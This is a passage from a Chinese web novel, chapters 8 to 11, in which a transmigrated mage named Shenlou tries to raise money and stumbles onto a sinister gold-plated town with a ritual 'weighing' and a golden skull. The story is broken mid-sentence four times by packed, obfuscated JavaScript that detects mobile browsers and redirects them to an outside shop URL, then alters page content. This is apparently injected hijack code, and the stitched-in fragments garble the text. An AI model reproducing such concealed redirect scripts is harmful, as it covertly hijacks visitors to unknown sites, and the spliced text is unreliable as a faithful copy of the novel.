RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14648636|156579||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?”系统又跟他插科打诨,“真伤心,我们居然是这种利用与被利用的关系。” 蜃楼:…… 他无视它,转而去问季诺:“一瓶显影药水要多少钱?” 季诺回答:“五枚银币吧。您不是还摘了益血草回来吗?把那些拿去商店,一百克就可以换一枚金币,买二十瓶显影药水都是绰绰有余的。” 益血草?蜃楼想了想。什么银币铜币的,他没概念,但说到金子那就很有概念了。 一枚金币十五克,现代的一克黄金又差不多是六百元。换算起来,一枚金币就相当于现实的九千元……等等,一百克草,卖九千元……!? 从达木兰宫顺回来的药草太多,蜃楼已经不记得这个益血草到底长什么样了。这么值钱的东西势必要贴身保管的,他正想打开包袱翻一翻,系统的声音却冷不丁地响起来:“益血草都在锅里呢,大人。” 翻包的动作停住,蜃楼的目光飘向那锅沸腾的盾牌菜汤,表情慢慢变得凝重。 季诺察觉到什么,顺着他的目光看过去。 蜃楼从篝火底下扒拉出一根还没燃烧到的木枝,抖了抖灰,借它挑出汤里一部分绿色的蔬菜,不敢置信地问道:“这个……不会就是……益血草吧?” 细长的茎秆,翠绿的、形似禽类脚蹼的单薄叶片,细嗅一股直冲脑门的异香…… 这原来不是香菜啊?? 季诺看着蜃楼挑起来的叶子,沉重而缓慢地点了两下头。 …… 蜃楼破罐破摔,干脆从市场传送过来的杂物堆里翻出两个陶碗,盛了两碗汤,不由分说地给季诺塞了一碗。 “喝吧喝吧。”他神情麻木,语气毫无起伏,“尝尝这九千块一碗的汤什么味道。” 这种时候,后悔是完全没用的。蜃楼安慰自己,起码煮汤也是吃进肚子里去。九千块一百克,放现实都不敢想,哪像现在能有尝一口的机会…… 他这样想着,竟然真的期待起来,仰头就灌了一大口草汤。 ……然后又差点喷出来。 这不就是香菜的味道吗!! * 品完了香菜汤,系统忽然开麦:“我这边的视野有限,只能看到小希娅身上骨折的情况。血与肉的看不太清楚,还是买瓶药水让季诺看看吧。” ?狗系统竟然主动靠谱了一回。 蜃楼惊奇地想着,捡了两块炭出来递给季诺:“除了显影药水和绷带,还有什么需要的吗?写起来吧,我一起想办法。” 季诺点点头,接过木炭,认真地在地上写了起来。 蜃楼看季诺专心致志的样子,也不再打扰他了。大魔法师悄悄地走到一边,思而复思,而后犹犹豫豫、鬼鬼祟祟地询问系统:“我能像造冰雪城堡一样,变一座黄金城堡出来吗?” 系统无语:“你还不如直接问我怎么才能变金币出来……” “哦。那怎么才能变金币出来?”蜃楼问道。 “变不出来的啊!”系统无奈地说,“在这个世界,炼金术是被严厉禁止的!再说如果想变就能变的话,金子都不会有那么值钱了……大人,咱们还是老老实实想办法赚钱吧。” 蜃楼撇嘴,无趣地踢了踢脚边的石头。 这算什么事儿?在现实做穷鬼就算了,穿进游戏里还要为钱发愁…… 8. 第 8 章 令人遗憾的是,在游戏中看起来出手阔绰的大魔法师蜃楼,其据点内并没有任何值钱的东西。 这与钟灵的设想大有出入。 这个世界的魔法师很少。而像蜃楼这样动辄传送阵、幻象术启动的法师,已经完全可以划入“大魔法师”的行列。 游戏文案对大魔法师的描述不多,只提到只有极其强大的法师才能被授予这样的头衔。鉴于蜃楼非凡的实力,尽管游戏中没有提及,但钟灵一直猜测他是大魔法师中的一员。 可倘若事实真是如此,蜃楼又怎么会蜗居在一座神殿的废墟里呢? 她觉得很奇怪。去问系统,系统也说不出个所以然来,反而让钟灵更加觉得怀疑了。 这任务到底靠谱吗? 算了。跑也来不及了,先想办法凑钱吧。 有季诺照看昏迷的希娅,蜃楼终于有功夫好好调查一番这座奇怪的神殿。 值钱物是没有的,奇怪的小玩意倒是留了一些。他转了一圈,最终在一个陈设相对完整的房间里翻出来一个破旧的首饰盒。 打开翻了翻,都是一些铜、木的首饰,款式古怪,并不好卖。 原来的蜃楼不戴首饰。 这种地方,怎么会有首饰盒? 他有些纳闷,去问系统。系统沉默片刻,不好意思地说:“嘿嘿,其实这座神殿现在的情况我都不是很了解捏。” …… 蜃楼翻了个白眼,把首饰盒放了回去。 他正打算离开,忽然注意到房间角落一堆沙石中露出的一角木料。 那形状看着十分熟悉,他跑过去拍开上面的尘土,果然——一把在现实应叫做“吉他”的乐器躺在那里。还是完好无损的,说不定是这座神殿里目前最值钱的东西。 “哦,这个东西我知道!”系统在他脑海里兴奋地开口,“这叫‘梨琴’,是很久以前这里的人祭祀用的乐器。和你们那的吉他有点像,都很值钱。我看看啊,这个完整度,换十枚银币不成问题……” 梨琴? 蜃楼拿起琴,拨弄了一下琴弦。声音清脆动听,确实没什么问题,就是…… 他闭了闭眼睛,低头去给这把琴调音。他的动作有些生疏,却能看出经过系统学习的痕迹;调完了音,蜃楼又随手弹了几个调子。等到奏完一曲,他的手法已经变得比较熟练了。 蜃楼拿起琴左看右看,惊奇地说:“还真和吉他一样。” 系统也十分惊奇:“你不是学美术的吗?还会弹琴?” 蜃楼的动作停了下来。他垂下眼睛,随口说道:“读书的时候学过一阵子。” 钟灵确实学过很多东西。大多是些要么能提升个人形象、要么能赚钱的手艺。虽说到底没富到哪儿去,但总至于像蜃楼这样,作风看起来气派挥霍、晚上却得回废墟里睡觉…… 现在,钟灵不太想了解原来的蜃楼是怎么搞钱的,也毫无效仿的念头。 她准备以自己的方式,简单坦荡地做。 “你觉得……”蜃楼问系统,“在这个世界弹琴卖艺,能赚钱吗?” 系统说:“有是有……但是,以蜃楼的能耐弹琴卖艺太屈才了吧?你直说自己是个魔法师呀,这世道,那些王公贵族肯定抢着给你打钱。” 游戏中确有王公贵族会无偿供养一位魔法师的设定。但血脉正统的魔法师大多不稀罕和普通人交往;愿意接受资助的,是以“混血”,也就是父母中有一方为普通人的法师居多,但这反而是整个魔法师群体中的少数。这当然也是一种办法。 不过,问题就出在魔法师这个身份上。 “这里的魔法师太少了。”蜃楼说,“我对弗洛瓦王室做了那样的事,他们肯定不会善罢甘休。寄人篱下太过被动,我不想冒那样的风险。所以,不光身份需要伪装,外貌也得调整一下。” 系统停顿了一下,明白了他的意思。 “我想想……改变外表的话,法子还是挺多的。你想做到哪种程度呢?”系统问道,“伪装魔法可以完全改换人的样貌。不过,这和我们之前学习过的所有魔法都不一样,需要你持续地保持专注。如果没有经过训练,很容易因为意外解除魔法,风险很高。” 这样的话,果然还是物理手段吧…… 蜃楼一边思考,一边抱着琴走出房间。 由钟灵扮演的“蜃楼”回到正殿,男主角季诺与女主角希娅都在这里。只差一个阿忒菈,四人主角团就完全到齐了——当然,蜃楼毫无招揽阿忒菈的意向。阿忒菈的定位是“武力高强的骑士”,负责保护女主角希娅的安全。但现在的蜃楼也能做到这一点,实在没必要冒着带坏希娅的风险招揽他。 现在,希娅的脸色变得好了一些。 季诺给她喂了汤、擦净了脸、清理了身上的创口,现在,希娅躺在蜃楼临时搭建的石板床上,盖着暖和的绒布,看起来就像睡着了一样。 季诺则坐在篝火旁,看着台阶上的神像出神。 蜃楼走过去:“你知道这个神像?” 季诺回过神来,摇摇头:“也不算太清楚。这是很久以前大陆的原住民叩拜的神像。自从弗洛瓦王室推信花神维洛尼亚之后,这种信仰已经接近消失了。之前的格拉斯境内还留有一些,现在……” 他说着,忽然停住,像是想起了什么,表情凝滞。 蜃楼没有说话,只是摸摸他的脑袋。 “格拉斯”是季诺的故国。 格拉斯和弗洛瓦曾有过短暂的战争。在格拉斯战败之后,季诺作为人质被送到弗洛瓦宫廷,和希娅一起接受弗洛瓦女皇的教养。 后来女皇死了,弗洛瓦宫廷也随之发生巨变。皇太女希娅在任典前夕失踪,女皇的丈夫、同时也是与她共治的国王,成为了弗洛瓦唯一的掌权者,对格拉斯发动圣战……最终格拉斯战败亡国,所有王室成员都被处决,只有季诺依然留在弗洛瓦的城堡中生活。 在这样的背景之下,哪怕只是设定,但季诺能坚持善良的本心直到现在,无疑是可贵的品格。 “等天亮了,我会去一趟附近的城镇里看看情况。”短暂的沉默后,蜃楼生硬地将话题转移回来,“在那之前,我有一个问题。季诺,你对我的第一印象是什么?” 季诺怔住,显然是没明白蜃楼突然发问的理由。但他还是顺着他的话认真地想了想,回答道:“其实……第一次见面的时候,您穿着斗篷,我没看清什么。第二次在禁闭室里看见您摘下斗篷的时候,白色的长发像绸缎一样洒落下来……那模样太不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14648637|156579||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 真实了,我还以为是自己出现了幻觉。” 这倒顺应了蜃楼的猜想。 在这个世界,这样纯粹的白色长发并不多见。即便是刚穿过来的钟灵,第一眼也是注意到蜃楼显眼的发色,随后才是那张非常有欺骗性的脸。 只见过他一眼的希恩,恐怕也会留下这样的印象。 那可好办了。 蜃楼垂下眼睛,脑袋里飞快地形成一个计划。 * 数小时后。 蜃楼慢吞吞地复述着系统告诉他的咒语,风系魔法很快将他湿润的头发吹干。他折回发现梨琴的房间,从首饰盒里取了一副单片眼镜出来,擦去上面的灰尘戴好。 系统在他脑袋里啧啧称奇:“绝了真是。咱们这样子,一个男主说不定能掰成两个用了呀……这在你们那叫什么来着,‘切片’?” 蜃楼望了一眼窗外大亮的天色,没搭理它。 他剪短了头发、用炭灰和特殊的草汁染黑了发色。现在,不熟悉蜃楼的人很难将他与那位懒散的白毛法师联想到一起了。 染发剂是季诺帮忙调试的,说不溶于油和水,但不能碰到血液。对钟灵来说,她不杀人,只做低调的行动,倒也不用担心这个。粗略看过季诺写的清单,便披上另一件黑色的斗篷离开了。 这次没什么特殊的需求,没必要用传送阵。先看看情况再说。 蜃楼走出神殿,向远方眺望。 这座神殿位于山顶,附近是丘陵地貌,绵延的山脉一眼望不到头。起伏的山间偶尔能看见几个村落,而最近的山腰上,则坐落着一座……金碧辉煌的小镇? “哦,这里曾经是弗洛瓦与格拉斯的交界。”系统解释说,“之前是格拉斯的领土,随着四年前掘出金矿,城镇也慢慢繁华起来。离皇城还是很远的,暂时不用担心今天会有谁过来抓人。” 这样吗…… 蜃楼若有所思,摸索着路下山去。 只看山野的风景,这里似乎与现实并无太大区别。要说最大的不真实感,果然还是这具身体——他是步行下到山腰的,竟然不累不喘,甚至连饥饿都感觉不到。在达木兰宫也是,出手都没多用力,那两个看起来起码有一米九的男仆就双双倒地了。 这里的大魔法师,都是这样厉害的吗? 蜃楼不解地想。 多亏这具好用的身体,他在中午之前抵达了山腰上的小镇。 据系统所说,这镇子如今叫作“歌登”镇。不知出于什么原因,明明位于界线,歌登镇受到的战争影响却可以忽略不计。尽管坐拥金矿,弗洛瓦也没有派人接管这里,依然让人们维持着战前的生活。 “这个镇子在资料里留下的记载不多。”系统在他脑海里小声地说,“我能得到的信息只有这些。这地方紧挨着蜃楼的据点,有些可疑,小心为上。” 蜃楼听完它说的话,停下脚步,在小镇的路牌前站定下来。 他的目光落在牌匾里金灿灿的、突出的花型字体上。 这个色泽,看着太熟悉了。 好像是某种十分贵重的金属…… 沉默片刻,他伸出手,用指甲在字上拈了一下,柔软的金属即刻现出一道浅浅的划痕。 还真是金子啊? 9. 第 9 章 蜃楼不知道一个坐拥金矿的小镇应该是什么样的,但实在无法相信这座“歌登”镇是正常的样子。 真走进小镇里了才知道,不仅是路牌,连家家户户的门牌、喷泉上的雕像、甚至长椅的纹饰,也都是黄金做的。 难怪远观这座小镇时,第一印象是“金碧辉煌”了。 真是旱的旱死,涝的涝死…… 奇怪的是,城镇的建筑依然以朴素的乡村风格为主。由石头混着黏土垒出墙面,框架则是木制的,房顶盖着有些格格不入的红色瓦片。 在这基础上增加的金饰,则让整座城镇最终呈现出朴素与奢靡并存的矛盾状态。无论是从艺术还是现实的角度出发,都难以让人觉得欣赏。 蜃楼蹙着眉头走进小镇,发现明明时值正午,街道上却没半个人影,只时不时地有几只飞鸟掠过上空。家家户户门窗紧闭,仅有几家商店敞开着门,无一例外都是冷清的样子。 他在街上转了一圈,没有遇到一个活人。只能放下卖艺的念头,先买到显影药水再说。 在街巷的尽头,蜃楼找到一家商店,门牌上挂着“魔药有售、接受典当”的字样。 这家店与镇子中的其他建筑大同小异,如果忽略墙壁上、屋檐下浮华的黄金雕饰,倒算得上温暖柔和的乡野风情。 蜃楼抱着琴推门进去,挂在墙上的铃铛被机关敲响,发出“叮铃”的声音。 他脚步一顿,回头看了一眼。 果然也是黄金做的…… 这家商店的内部比他预想的还要狭窄一些。 大半空间都被木制货架挤得满满当当,仅留出一条容纳一人的通路来。架子上摆放着各式各样的药水、杂货,有些瓶罐还在往外冒着可疑的泡沫…… 说起来,这个世界的魔法师虽然少,像“显影药水”一样神奇的魔药却是有很多的。季诺就会调配这样的魔药,只是手边没有材料,蜃楼这才出来买现成的。 现在,蜃楼穿过嘎吱作响的货架,来到柜台前,朝里面瞧去。他看见一座庞大的肉山正歪倒在柜台后的沙发椅上,胸口起起伏伏,从中迸发出一连串并不十分健康的鼾声。 他敲了敲柜台的桌面:“您好。请问这里接受典当吗?” 肉山停顿了一下,却没有回答他的问题,而是翻了个身,继续呼哧呼哧地大睡。 蜃楼只好提高音量,又问了一遍:“您好?” 对方依旧没有应答。 倒是有只被豢养在柜台边上的鹦鹉,学着他的腔调,“您好!您好!”地叫了两句。 蜃楼无声地叹了口气,手指一抬,开始低声念咒。 那是刚来这里时系统教给他的制冰术,所学中最简单的一种,他现在已经能够流畅地背诵了。 冰霜在他指尖飞快地凝结,于空中形成一个手指粗细的冰锥。冰锥漂浮过去,绕着那座打呼噜的肉山飞舞一圈,最后找到他大敞的衣襟,钻了进去。 与此同时,商店老板倒抽口气,终于从酣梦中惊醒过来。 “我去,刚才竟然梦见一条狗拿雪球砸我!”胖男人嘀咕着,揉着腰慢吞吞地坐起来,“怎么会做这么奇怪的梦,难道是再塑节的影响……” 三百多斤的身体活动起来不甚方便,沙发椅在他身下发出“吱呀”的声音,似乎已经不堪重负。 他喘着粗气,调整了一番坐姿,让后背的肥肉不至于被坐在屁股下面。随后抬起头,终于与站在柜台前的黑发男人对上了视线…… 这时,那只白色鹦鹉又不合时宜地喊了两句:“您好!您好!” “您好。”年轻人倒是不厌其烦,无视那只聒噪的鹦鹉,微笑着说,“我来典当东西。” 那笑容无端地让商店老板起了一身鸡皮疙瘩。 “卖东西?当然可以。不过,等等……”商店老板皱起眉头,盯着他看了一会儿,态度变得轻蔑起来,“哦,你不是本地人啊?” 说多错多,蜃楼没有回答他的问题,而是将怀里的梨琴放在桌上,问道:“这个多少钱收?” 老板闻言,凑上去将琴拿起来,仔细看了看:“这个……哎哟,这玩意,给我儿子摔着玩他都不要。客价只能给五枚铜币哈。” 鹦鹉歪了歪头,重复道:“不要!不要!” 蜃楼实在是懒得搭理那只鸟,只在心里对商人的提议犯起了嘀咕。 五枚铜币? 一把琴收五块钱,玩具琴都没这么便宜啊? 他质疑道:“这在外面至少值五枚银币。你这是什么价格?” “嗐。”老板放下梨琴,眼中闪过一丝不耐,“外面是外面,怎么能跟我们相提并论?您不是受邀而来的吗?那应该知道,镇里买卖、衡量物品价值的规则,和其他地方是不同的。” 鹦鹉也跟着说:“不同!不同!” 老板咳嗽两声,仿佛才发现这只捣乱的鹦鹉。假意教训了几句,便从柜台下抓了一把小米出来喂它,看着完全不像诚心做生意的样子。 蜃楼沉吟片刻,在脑海里敲敲系统:“这个镇子怎么回事,这奸商哪来这么大优越感?” 系统沉默了一会儿,弱弱地说:“呃,我不太清楚,大人……” 好吧,也没指望它能派上用场。 蜃楼正想继续追问下去,却看见对方那双被肥肉挤成一条线的眼睛滴溜地转了一圈,看起来显然是没打什么好的主意。 他嘿嘿一笑,再开口时,一改之前的态度,热忱地说:“我知道了!年轻人,你是吟游诗人吧?是不是旅费不够了,才找到这儿来啊?” 蜃楼顿了一下,顺着他的话说:“对。” “那你可来对地方了!”老板双眼放光,高兴地拍了拍桌面,“咱们这儿啊,别的不说,正适合缺钱的人。我刚才说‘客价’,只是指这把琴在这个镇子里的客观价格——咱们这,还有‘主价’的说法呢!要想回本、甚至赚大钱,还是得从‘主价’里捞。” “主价?”蜃楼不解。 老板笑了笑,说:“主价嘛……顾名思义,就是主观价值。这个东西,对您来说有多少价值,我们就会提供对等的钱币。有时候,就算是一个毛绒玩具、一块石头也能卖出高价呢。只是鉴定过程要花些时间,要劳烦您跟我移步了,怎么样,考虑一下?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14648638|156579||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 蜃楼沉思片刻,正要给出回应,却听见一阵急促的脚步从门外传来。 大门被人推开,门口的黄金铃铛“叮铃”作响,女人的声音几乎同时与开门声响起来:“死胖子,你在干什么?为什么会有外地人在这里!” 商店老板脸色大变,连滚带爬地从他那张低矮的沙发椅上站起来。也顾不上柜台前的蜃楼了,他费力地从柜台里挤出来,谄媚地迎向来客:“哎哟,雪莉大小姐!什么风把您吹来了,这,这也不提前说一声……” 蜃楼侧首望去,发现一个长相明媚的金发女人正抱着胳膊看着他们,表情并不算友好。 “哦,这个人我知道!”系统在他脑海里开口介绍,“她叫雪莉·怀恩。怀恩家是这里的酿酒名门,坐拥一整座酒庄呢。不过说起来,这几年怎么没有一点消息了……” 酒庄? 蜃楼回忆自己来到这里的整个过程,完全想不起来附近能有什么能和酒庄对得上号的场所。 但这是最无关紧要的事情,他现在更关心的,是商店老板口中的“主价”。 打死他都不信这世上能有这种天上掉馅饼的好事。答应系统已经是钟灵这辈子吃过的最大的亏,她绝不可能在同一个地方跌倒两次…… 除非故意为之。 “别岔开话题。”雪莉睨了蜃楼一眼,冷冷地开口,“这个人怎么进来的,是你邀请的吗?现在什么时期了,还把乱七八糟的人往镇子里带?” 她看起来二十四五的年纪,依然年轻,气势却盖过了比她年长的商店老板。 老板被这样责问,一时之间汗如雨下,倒没忘记先跟蜃楼撇清关系:“这、这……大小姐,我发誓,我今天一整天都在这里打盹!至于这个男的,什么时候冒出来的我都不知道,跟我可没有半点关系啊……” “够了。”雪莉不耐烦地打断他,“我不想听你狡辩,这账我们待会再慢慢算。至于你……” 她的目光转向蜃楼,眼目中是不合其艳丽外表的冷酷颜色。 “现在,立刻,给我滚出歌登镇——” …… 于是,半小时后。 蜃楼站在歌登镇的路牌前,思考着把这块牌子薅下来卖钱的可能性。 “大人,您这心也太大了……”系统在他脑海里默默开口,“这歌登镇太反常,什么‘主价’、‘客价’的,简直闻所未闻!您身为大魔法师,难道不打算调查一下吗?” 蜃楼反问它:“为什么要调查?” 系统顿了一下,支支吾吾地说:“这个,当然是因为咱们有能力……” “有能力就要做吗?”蜃楼蹲下去,心不在焉地拨开路牌地下的泥土,“我只答应你救希娅,没承诺过还要管这种事情……” 话未说尽,他忽然停下动作,从刚拨出来的小土坑里拿出一个可疑的球体。 金灿灿的,指甲一捻,便能留下一道痕迹。 是黄金无疑。 问题在于,它的形状—— 从结构到细节,栩栩如生的,对美术系的“钟灵”来说,再熟悉不过了。 这是一颗少女的头骨。 10. 第 10 章 昏暗的大厅内,商店老板菲特正以一副极其低微的姿态匍匐在地上。 地面闪闪发光的,是黄金的颜色。现在却被他的泪水与鼻涕蹭得脏兮兮的,只叫人觉得恶心。 雪莉站在一侧,别过眼去,露出厌恶的表情。 “你说那男人是自己走进来的?”坐在主位上的中年男人凉薄地开口,语气讽刺,“菲特,你是不是忘了,小镇外的结界是大魔法师留下的。除了大魔法师,没有人能穿过它踏入小镇!” “可是……大人,有没有一种可能……”菲特趴在地上,身上的肥肉紧贴着地面,战战兢兢地为自己开解,“那,那结界都是四年前的产物了……咱们也不懂魔法,说不定它就是失效了,就,就像老铁匠家的风箱,有时候也不好使啊?” “浅薄!”中年人冷笑一声,站起身走下座位,“就算是你死了,结界都不可能失效!哼,当初就不该收留你这个好吃懒做的赌鬼……” 说话间,他已经走到座位后的墙壁旁。 随着男人的靠近,灰白色的墙壁逐渐亮起金色的纹路;直到他在墙前站定,一个极其精密、复杂的魔法阵显现出来。 “雪莉,愣着干什么?”他叫住沉默的雪莉,“快启动法阵!” 雪莉回过神来,咬破手指,将血液涂抹在法阵中央。法阵闪了闪,不出片刻,便有金色的、发光的液体从回路中源源不断地流淌下来。 菲特看到此景,仿佛受了莫大的刺激,脸色惨白地磕头起来:“大人!我,我错了,歌登大人!我也是为了歌登镇好啊,看他是个居无定所的吟游诗人,想着骗来代替雪芮少爷才……但是他进来真跟我没一点关系啊!求,求您别……” 中年人对此毫无反应,倒是雪莉猛然回过头去,厉声问道:“你刚才说什么?” 菲特吞了吞口水,看了一眼正在逐渐成形的金色液体,犹豫地说:“这……我看他和雪芮少爷差不多年纪,如果能代替他成为祭品,雪莉小姐就不用再承受失去家人的痛苦了!当、当然,我家瑟恩也不用失去一个朋友……” 雪莉睁大眼睛,正想说些什么,中年人却打断了她:“雪莉。你应该知道雪芮本来就时日无多了吧?弗洛瓦的男爵已经来讨金了!你能拖多久?不要听信他的胡话。” 说话间,金色的液体已经汇聚成一个模糊的少女人形。菲特看到此物,仿佛见了阎王似的,脑袋磕在地上“邦邦”直响,听着便叫人觉得头疼。 中年人沉了脸色,对此无动于衷。雪莉则别过脸去,攥紧了拳头,没有再说什么。 “开始‘衡量’。”中年人沉声说道,“菲特,你也老大不小了,应该为自己的贪婪付出代价。” 话音刚落,少女人形开始向外渗出金色的液体。液体丝丝缕缕地落到地上,汇聚成一股细流,蟒蛇一般蠕动着向菲特流去、缠绕到他的身上。 菲特那庞大而肥胖的身躯,在液体的覆盖下变成一座闪闪发光的金山。金色少女没有五官,料想也不可能露出什么慈悲的颜色。菲特不住地求饶,祈求的对象从雪莉转折到“黄金少女”,最终连声音也被淹没在流动的液体里,只剩下气泡崩裂的余响回荡在寂静的大厅。 “再塑暴露的风险无法预估,经过评估,需要执行最高惩罚以儆效尤。”雪莉麻木地开口,眼底划过一道金色的流光,“……即将执行惩戒,在半小时内自动攫取菲特·荣恩的最宝贵之物……衡量结束。” 流光褪去,金色液体飞快地蒸发,菲特再次出现在黄金铺就的地板上。男人猛烈地咳嗽,不敢置信般用力地拍了拍自己的脸颊,又翻动他肥胖的身躯,扭头检查了一番自己的身体。 “衡量”结束了。而他竟然发现自己没缺胳膊少腿,一切都好! 然而菲特没来得及庆幸,口袋里忽然掉出一张湿漉漉的明信片来。那是他的儿子瑟恩早上送给他的,正面是富丽堂皇的弗洛瓦皇城,背面则歪歪扭扭地画着一个抱着孩子的强壮男人。 论起“客价”,这张明信片并不能值几个铜币;但要论“主价”,这无疑是一件无价之宝。 可这张明信片现在好好地躺在这里,也就是说…… “糟了!我的儿子……瑟恩!” 菲特脸色大变,踉跄着站起身来,几乎是以他能做到的最快速度冲出了大厅。 诚然,他那三百斤的体重,奔跑起来的画面还是十分有冲击力的。 法阵熄灭,金色人形与液体一同蒸发。大厅中央,唤作歌登的中年男人背过双手,看着菲特大步离开的滑稽模样,竟然笑出声来。 雪莉看了他一眼,恰好与望过来的歌登撞上视线。 “怎么,不好笑吗?”歌登笑眯眯地拉过她的手,“如果没有我们,菲特和他的儿子早就死在讨债人手里了。现在的结局,分明是他自己找的。” “您说得对。”雪莉定了定神,露出不解的表情,“我只是在想,如果结界没有出问题,那个吟游诗人又是怎么进来的?” 歌登不以为意地说:“肯定是菲特邀请了他。我都强调了多少遍了,那个死胖子,真是成事不足败事有余……” 雪莉却不能就此放心。她揪紧了手边的衣物,追问下去:“如果没有邀请呢?他会不会是穿过结界,直接进来的?” 歌登奇怪地看了她一眼:“怎么你也这样畏首畏尾的?大魔法师倒是能毁掉结界直接进来,但那样的动静,镇子里不可能像现在这样风平浪静。” 大魔法师…… 雪莉恍惚了一下,下意识抽回了她被歌登紧握着的双手。但她随即反应过来,露出抱歉的表情:“对不起,我……” 歌登笑了,伸手温柔地将她额前的碎发拂至耳后,宽慰道:“道什么歉?再塑节之后就是我们的婚礼了,对你未来的丈夫不用这么客气。” 让她在再塑节失去弟弟之后,即刻就接受和这个男人结婚的事实吗? 雪莉攥紧拳头,忽然想起什么,神色稍微缓和。她抬起头来,扯出一个讨好的笑,试探地说:“歌德先生,其实,我有一个想法……” * 忽略歌登镇的种种异常,蜃楼现在,正在赶路。 他准备启程前往下一个村庄。 “不是,大人,咱们这就走了?”眼看蜃楼离歌登镇越来越远,系统不敢置信地开口,“你……您从路牌底下挖出了个黄金头骨,然后啥也没干,也没拿走卖钱也没冲进去质问,就把它埋回去,然后走了??” 蜃楼想了想,说:“那个黄金头骨让我觉得很不舒服。” 这是真话。 他直觉那东西太过诡异。或许有一部分来自“钟灵”的迷信在,总觉得拿去卖钱了也会沾上霉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14648639|156579||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 运。权衡之后,还是放回去了。 头骨上的路牌也不薅了,怪瘆人的……至于冲进去质问,那就更不可能了。管这边陲小镇的闲事对希娅夺嫡毫无帮助,他干嘛要去浪费这个时间? “您是大魔法师啊?”系统循循善诱地说,“只要您想,随手拯救个世界都是易如反掌的事。到底在顾虑什么?” 顾虑什么? 蜃楼停下脚步,忽然觉得有点好笑。 “你就这么想让我回到那里去?”他毫不留情地点破它的意图,“我记性不太好。刚来的时候,好像还有人嘲笑我替纸片人考虑来着。我不是不想做好事啊,但它说得对,纸片人的生死,跟我有什么关系?” 系统没想到他会在这里找补回来,一时说不出话了。而蜃楼见它那样,嗤了一声,也没再说什么。 以蜃楼这样的能力,管这种事情倒是手到擒来。但系统这样暗示的态度,反而非常可疑——这座歌登镇的情况,恐怕没有那么简单。 蜃楼想了想,还是放下披风的兜帽、展开携带的传送阵放在了地上。又抖抖袖子,拂落几粒埋黄金头骨时沾的尘土,将它们洒在传送阵中心。 …… 片刻后,歌登镇的路牌前,蜃楼再度现身。 系统对他的操作瞠目结舌:“您、您……我还以为……” “别误会。”蜃楼戴好兜帽,望向这座可疑的小镇,轻飘飘地说,“我是回来拿显影药水的。” 一直被莫名其妙的东西转移注意力,差点忘了希娅的情况不好再拖延下去。来都来了,干脆就带点东西回去吧,蜃楼心想。再看看狗系统引他回到这里,到底是为了什么…… 蜃楼低着头,路过指引牌,踏入小镇。 在他跨入石质道路的一瞬,空气中飞快地闪过一道金色的流光。但他全无所觉,只是看着路面,专注地回忆着前往商店老板铺子的路线。 不久之后,菲特握着一把厨刀,跌跌撞撞地从一座房屋内冲了出来。 “瑟恩,我的瑟恩……不在家里,难道去了商店吗?对,对,一定是在店里!” 菲特喃喃自语,从口袋里拿出那张明信片,珍视地看了一眼,又小心翼翼地把它护进怀里。 这是他的儿子瑟恩用攒了很久的钱买来的送给他的。本该是崭新的,但因为沾过大厅的金色液体,现在已经变得皱皱巴巴的了。 “我的儿子,爸爸会保护你的……你一定不会有事!”他抱着明信片,一边唾骂着、一边向商店的方向跑去,“妈的,我菲特最重要的东西是钱啊!什么狗屁‘衡量’,要是真准,就应该让我变成穷光蛋,而不是带走我儿子……” 男人的声音远去了。小镇屋顶上栖息的鸟群啸叫着离开小镇,向山林飞去。 …… 与此同时,魔药商店内部。 先一步抵达商店的蜃楼,在推开门之后愣在了原地。他沉默片刻,俯下身来,看着地面上突然出现的金色液体,露出匪夷所思的表情。 这是什么东西? 他没来得及看清楚,液体便以肉眼可见的速度蒸发掉了。只留下一套湿漉漉的衣物,看大小,似乎是孩童的穿着。 此时,柜台边的鹦鹉歪了歪头,忽然凄厉地开口: “爸爸……救我!” “好痛——好痛!” 11. 第 11 章 钟灵活了二十四年,身无其他过于常人的天赋,只有一项技能可以说炉火纯青——那就是,装瞎。 蜃楼站起身,掸掸身上的尘土,径直跨过那堆可疑的衣物。随后挤到货架前面,若无其事地询问系统:“显影药水长什么样子?” 系统无奈地说:“……蓝色的那瓶就是,在你左手边呢。” 蜃楼看过去,果真找到一瓶蓝色的药水。他将药水取下来,手指无意碰到摆放在一侧的黄金雕像。那东西摇晃了一下,眼看就要从货架上滚落下来,好在被蜃楼及时接住,放回了原处。 忽略这个小插曲,他转身去柜台讨价。 